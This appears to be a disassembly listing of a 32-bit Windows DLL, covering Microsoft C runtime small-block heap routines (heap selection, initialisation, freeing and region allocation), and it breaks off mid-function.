sub_1000340E	proc near		; CODE XREF: sub_1000343B+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	ds:dword_1000700C
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_10003439
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_10003439
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_10003439:				; CODE XREF: sub_1000340E+15j
					; sub_1000340E+1Cj
		pop	esi
		retn
sub_1000340E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000343B	proc near		; CODE XREF: sub_10003583+20p

Str		= byte ptr -122Ch
SubStr		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	__alloca_probe
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	ds:dword_10007030
		test	eax, eax
		jz	short loc_1000347E
		cmp	[ebp+var_88], 2
		jnz	short loc_1000347E
		cmp	[ebp+var_94], 5
		jb	short loc_1000347E
		push	1
		pop	eax
		jmp	loc_10003580
; ---------------------------------------------------------------------------


loc_1000347E:				; CODE XREF: sub_1000343B+27j
					; sub_1000343B+30j ...
		lea	eax, [ebp+Str]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	ds:dword_1000702C
		test	eax, eax
		jz	loc_1000356D
		xor	ebx, ebx
		lea	ecx, [ebp+Str]
		cmp	[ebp+Str], bl
		jz	short loc_100034C0


loc_100034AD:				; CODE XREF: sub_1000343B+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_100034BB
		cmp	al, 7Ah
		jg	short loc_100034BB
		sub	al, 20h
		mov	[ecx], al


loc_100034BB:				; CODE XREF: sub_1000343B+76j
					; sub_1000343B+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_100034AD


loc_100034C0:				; CODE XREF: sub_1000343B+70j
		lea	eax, [ebp+Str]
		push	16h		; MaxCount
		push	eax		; Str2
		push	offset Str1	; "__GLOBAL_HEAP_SELECTED"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_100034E2
		lea	eax, [ebp+Str]
		jmp	short loc_1000352B
; ---------------------------------------------------------------------------


loc_100034E2:				; CODE XREF: sub_1000343B+9Dj
		lea	eax, [ebp+SubStr]
		push	104h
		push	eax
		push	ebx
		call	ds:dword_10007028
		cmp	[ebp+SubStr], bl
		lea	ecx, [ebp+SubStr]
		jz	short loc_10003516


loc_10003503:				; CODE XREF: sub_1000343B+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_10003511
		cmp	al, 7Ah
		jg	short loc_10003511
		sub	al, 20h
		mov	[ecx], al


loc_10003511:				; CODE XREF: sub_1000343B+CCj
					; sub_1000343B+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_10003503


loc_10003516:				; CODE XREF: sub_1000343B+C6j
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strstr
		pop	ecx
		pop	ecx


loc_1000352B:				; CODE XREF: sub_1000343B+A5j
		cmp	eax, ebx
		jz	short loc_1000356D
		push	2Ch		; Val
		push	eax		; Str
		call	_strchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_1000356D
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_10003552


loc_10003544:				; CODE XREF: sub_1000343B+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_1000354D
		mov	[ecx], bl
		jmp	short loc_1000354E
; ---------------------------------------------------------------------------


loc_1000354D:				; CODE XREF: sub_1000343B+10Cj
		inc	ecx


loc_1000354E:				; CODE XREF: sub_1000343B+110j
		cmp	[ecx], bl
		jnz	short loc_10003544


loc_10003552:				; CODE XREF: sub_1000343B+107j
		push	0Ah		; Radix
		push	ebx		; EndPtr
		push	eax		; Str
		call	_strtol
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_10003580
		cmp	eax, 3
		jz	short loc_10003580
		cmp	eax, 1
		jz	short loc_10003580


loc_1000356D:				; CODE XREF: sub_1000343B+5Cj
					; sub_1000343B+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_1000340E
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_10003580:				; CODE XREF: sub_1000343B+3Ej
					; sub_1000343B+126j ...
		pop	ebx
		leave
		retn
sub_1000343B	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003583	proc near		; CODE XREF: start+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_10007038
		test	eax, eax
		mov	dword_1000AD74,	eax
		jz	short loc_100035D9
		call	sub_1000343B
		cmp	eax, 3
		mov	dword_1000AD78,	eax
		jnz	short loc_100035BF
		push	3F8h
		call	___sbh_heap_init
		pop	ecx
		jmp	short loc_100035C9
; ---------------------------------------------------------------------------


loc_100035BF:				; CODE XREF: sub_10003583+2Dj
		cmp	eax, 2
		jnz	short loc_100035DC
		call	sub_10003E31


loc_100035C9:				; CODE XREF: sub_10003583+3Aj
		test	eax, eax
		jnz	short loc_100035DC
		push	dword_1000AD74
		call	ds:dword_10007034


loc_100035D9:				; CODE XREF: sub_10003583+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_100035DC:				; CODE XREF: sub_10003583+3Fj
					; sub_10003583+48j
		push	1
		pop	eax
		retn
sub_10003583	endp

; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003653	proc near		; CODE XREF: sub_10002E9C+23p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_10003977
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_10003729
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_100036B7
		push	3Fh
		pop	edx


loc_100036B7:				; CODE XREF: sub_10003653+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_1000370B
		cmp	edx, 20h
		jnb	short loc_100036E2
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_10003703
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_10003703
; ---------------------------------------------------------------------------


loc_100036E2:				; CODE XREF: sub_10003653+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_10003703
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_10003703:				; CODE XREF: sub_10003653+86j
					; sub_10003653+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_1000370E
; ---------------------------------------------------------------------------


loc_1000370B:				; CODE XREF: sub_10003653+6Aj
		mov	ecx, [ebp+var_4]


loc_1000370E:				; CODE XREF: sub_10003653+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_10003729:				; CODE XREF: sub_10003653+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_10003737
		push	3Fh
		pop	edx


loc_10003737:				; CODE XREF: sub_10003653+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_100037DA
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_1000375C
		mov	ebx, esi


loc_1000375C:				; CODE XREF: sub_10003653+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_1000376E
		mov	edx, esi


loc_1000376E:				; CODE XREF: sub_10003653+117j
		cmp	ebx, edx
		jz	short loc_100037D5
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_100037BD
		cmp	ebx, 20h
		jnb	short loc_1000379E
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_100037BD
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_100037BD
; ---------------------------------------------------------------------------


loc_1000379E:				; CODE XREF: sub_10003653+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_100037BD
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_100037BD:				; CODE XREF: sub_10003653+128j
					; sub_10003653+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_100037D5:				; CODE XREF: sub_10003653+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_100037DD
; ---------------------------------------------------------------------------


loc_100037DA:				; CODE XREF: sub_10003653+EDj
		mov	ebx, [ebp+arg_0]


loc_100037DD:				; CODE XREF: sub_10003653+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_100037EB
		cmp	ebx, edx
		jz	loc_1000386C


loc_100037EB:				; CODE XREF: sub_10003653+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_1000386C
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_10003843
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_10003832
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_10003832:				; CODE XREF: sub_10003653+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_1000386C
; ---------------------------------------------------------------------------


loc_10003843:				; CODE XREF: sub_10003653+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_10003859
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_10003859:				; CODE XREF: sub_10003653+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_1000386C:				; CODE XREF: sub_10003653+192j
					; sub_10003653+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_10003977
		mov	eax, dword_1000AD64
		test	eax, eax
		jz	loc_10003969
		mov	ecx, dword_1000AD5C
		mov	esi, ds:dword_1000703C
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi ; dword_1000703C
		mov	ecx, dword_1000AD5C
		mov	eax, dword_1000AD64
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_1000AD64
		mov	ecx, dword_1000AD5C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_1000AD64
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_1000AD64
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_100038FA
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_1000AD64


loc_100038FA:				; CODE XREF: sub_10003653+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_10003969
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi ; dword_1000703C
		mov	eax, dword_1000AD64
		push	dword ptr [eax+10h]
		push	0
		push	dword_1000AD74
		call	ds:dword_10007014
		mov	eax, dword_1000AD68
		mov	edx, dword_1000AD6C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_1000AD64
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_100027F9
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_1000AD68
		cmp	eax, dword_1000AD64
		jbe	short loc_1000395F
		sub	[ebp+arg_0], 14h


loc_1000395F:				; CODE XREF: sub_10003653+306j
		mov	eax, dword_1000AD6C
		mov	dword_1000AD60,	eax


loc_10003969:				; CODE XREF: sub_10003653+234j
					; sub_10003653+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_1000AD5C,	edi
		mov	dword_1000AD64,	eax


loc_10003977:				; CODE XREF: sub_10003653+38j
					; sub_10003653+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10003653	endp

; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_10003E31	proc near		; CODE XREF: sub_10003583+41p
					; sub_10004129:loc_100042F8p
		cmp	dword_10008370,	0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_10003E45
		mov	esi, offset off_10008360
		jmp	short loc_10003E62
; ---------------------------------------------------------------------------


loc_10003E45:				; CODE XREF: sub_10003E31+Bj
		push	2020h
		push	0
		push	dword_1000AD74
		call	ds:dword_10007010
		mov	esi, eax
		test	esi, esi
		jz	loc_10003F6E


loc_10003E62:				; CODE XREF: sub_10003E31+12j
		mov	ebp, ds:dword_10007040
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp ; dword_10007040
		mov	edi, eax
		test	edi, edi
		jz	loc_10003F57
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp ; dword_10007040
		test	eax, eax
		jz	loc_10003F49
		mov	eax, offset off_10008360
		cmp	esi, eax
		jnz	short loc_10003EC1
		cmp	off_10008360, 0
		jnz	short loc_10003EB1
		mov	off_10008360, eax


loc_10003EB1:				; CODE XREF: sub_10003E31+79j
		cmp	off_10008364, 0
		jnz	short loc_10003ED6
		mov	off_10008364, eax
		jmp	short loc_10003ED6
; ---------------------------------------------------------------------------


loc_10003EC1:				; CODE XREF: sub_10003E31+70j
		mov	[esi], eax
		mov	eax, off_10008364
		mov	[esi+4], eax
		mov	off_10008364, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_10003ED6:				; CODE XREF: sub_10003E31+87j
					; sub_10003E31+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_10003EF8:				; CODE XREF: sub_10003E31+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_10003EF8
		push	ebx		; Size
		push	0		; Val
		push	edi		; Dst
		call	_memset
		add	esp, 0Ch


loc_10003F21:				; CODE XREF: sub_10003E31+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_10003F45
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_10003F21
; ---------------------------------------------------------------------------


loc_10003F45:				; CODE XREF: sub_10003E31+F7j
		mov	eax, esi
		jmp	short loc_10003F70
; ---------------------------------------------------------------------------


loc_10003F49:				; CODE XREF: sub_10003E31+63j
		push	8000h
		push	0
		push	edi
		call	ds:dword_1000703C


loc_10003F57:				; CODE XREF: sub_10003E31+4Bj
		cmp	esi, offset off_10008360
		jz	short loc_10003F6E
		push	esi
		push	0
		push	dword_1000AD74
		call	ds:dword_10007014


loc_10003F6E:				; CODE XREF: sub_10003E31+2Bj
					; sub_10003E31+12Cj
		xor	eax, eax


loc_10003F70:				; CODE XREF: sub_10003E31+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_10003E31	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003F75	proc near		; CODE XREF: sub_10003FCB+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	ds:dword_1000703C
		cmp	off_1000A380, esi
		jnz	short loc_10003F9A
		mov	eax, [esi+4]
		mov	off_1000A380, eax


loc_10003F9A:				; CODE XREF: sub_10003F75+1Bj
		cmp	esi, offset off_10008360
		jz	short loc_10003FC2
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_1000AD74
		call	ds:dword_10007014
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_10003FC2:				; CODE XREF: sub_10003F75+2Bj
		or	dword_10008370,	0FFFFFFFFh
		pop	esi
		retn
sub_10003F75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003FCB	proc near		; CODE XREF: sub_100040E4+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_10008364
		push	edi


loc_10003FD8:				; CODE XREF: sub_10003FCB+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_10004076
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_10003FF1:				; CODE XREF: sub_10003FCB+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_10004032
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	ds:dword_1000703C
		test	eax, eax
		jz	short loc_10004032
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_1000A874
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_10004027
		cmp	eax, edi
		jbe	short loc_1000402A


loc_10004027:				; CODE XREF: sub_10003FCB+56j
		mov	[esi+0Ch], edi


loc_1000402A:				; CODE XREF: sub_10003FCB+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_1000403F


loc_10004032:				; CODE XREF: sub_10003FCB+2Cj
					; sub_10003FCB+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_10003FF1


loc_1000403F:				; CODE XREF: sub_10003FCB+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_10004076
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_10004076
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_10004056:				; CODE XREF: sub_10003FCB+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_10004067
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_10004056


loc_10004067:				; CODE XREF: sub_10003FCB+8Ej
		cmp	edx, 400h
		jnz	short loc_10004076
		push	ecx
		call	sub_10003F75
		pop	ecx


loc_10004076:				; CODE XREF: sub_10003FCB+11j
					; sub_10003FCB+7Dj ...
		cmp	esi, off_10008364
		jz	short loc_10004088
		cmp	[ebp+arg_0], 0
		jg	loc_10003FD8


loc_10004088:				; CODE XREF: sub_10003FCB+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10003FCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000408D	proc near		; CODE XREF: sub_10002E9C+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_10008360
		push	esi
		mov	ecx, edx


loc_10004099:				; CODE XREF: sub_1000408D+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_100040A3
		cmp	eax, [ecx+14h]
		jb	short loc_100040AB


loc_100040A3:				; CODE XREF: sub_1000408D+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_100040E0
		jmp	short loc_10004099
; ---------------------------------------------------------------------------


loc_100040AB:				; CODE XREF: sub_1000408D+14j
		test	al, 0Fh
		jnz	short loc_100040E0
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_100040E0
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_100040E0:				; CODE XREF: sub_1000408D+1Aj
					; sub_1000408D+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_1000408D	endp


; =============== S U B	R O U T	I N E =======================================



sub_100040E4	proc near		; CODE XREF: sub_10002E9C+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_10004128
		inc	dword_1000A874
		cmp	dword_1000A874,	20h
		jnz	short locret_10004128
		push	10h
		call	sub_10003FCB
		pop	ecx

locret_10004128:			; CODE XREF: sub_100040E4+2Bj
					; sub_100040E4+3Aj
		retn
sub_100040E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004129	proc near		; CODE XREF: sub_10002DEB+5Fp
					; sub_100056EF+4Ap

Val		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_1000A380
		push	edi


loc_10004137:				; CODE XREF: sub_10004129+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_100041E2
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_1000419C


loc_10004162:				; CODE XREF: sub_10004129+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_10004185
		cmp	[edi+4], ebx
		jbe	short loc_10004185
		push	ebx
		push	ecx
		push	eax
		call	sub_10004331
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_100041F4
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_10004185:				; CODE XREF: sub_10004129+40j
					; sub_10004129+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_10004162
		jmp	short loc_1000419F
; ---------------------------------------------------------------------------


loc_1000419C:				; CODE XREF: sub_10004129+37j
		mov	ebx, [ebp+arg_0]


loc_1000419F:				; CODE XREF: sub_10004129+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+Val], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_100041E5


loc_100041B2:				; CODE XREF: sub_10004129+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_100041D1
		cmp	[edi+4], ebx
		jbe	short loc_100041D1
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_10004331
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_100041F4
		mov	[edi+4], ebx


loc_100041D1:				; CODE XREF: sub_10004129+8Dj
					; sub_10004129+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+Val]
		jb	short loc_100041B2
		jmp	short loc_100041E5
; ---------------------------------------------------------------------------


loc_100041E2:				; CODE XREF: sub_10004129+14j
		mov	ebx, [ebp+arg_0]


loc_100041E5:				; CODE XREF: sub_10004129+87j
					; sub_10004129+B7j
		mov	esi, [esi]
		cmp	esi, off_1000A380
		jz	short loc_10004204
		jmp	loc_10004137
; ---------------------------------------------------------------------------


loc_100041F4:				; CODE XREF: sub_10004129+54j
					; sub_10004129+A3j
		mov	off_1000A380, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_1000432C
; ---------------------------------------------------------------------------


loc_10004204:				; CODE XREF: sub_10004129+C4j
		mov	eax, offset off_10008360
		mov	edi, eax


loc_1000420B:				; CODE XREF: sub_10004129+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_10004217
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_10004223


loc_10004217:				; CODE XREF: sub_10004129+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_100042F8
		jmp	short loc_1000420B
; ---------------------------------------------------------------------------


loc_10004223:				; CODE XREF: sub_10004129+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_10004252


loc_10004241:				; CODE XREF: sub_10004129+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_10004252
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_10004241


loc_10004252:				; CODE XREF: sub_10004129+116j
					; sub_10004129+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+Val], eax
		call	ds:dword_10007040
		cmp	eax, esi
		jnz	loc_1000432A
		push	0		; Size
		push	[ebp+Val]	; Val
		push	esi		; Dst
		call	_memset
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_100042B9
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_1000428F:				; CODE XREF: sub_10004129+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_1000428F


loc_100042B9:				; CODE XREF: sub_10004129+15Ej
		mov	off_1000A380, edi
		lea	eax, [edi+2018h]


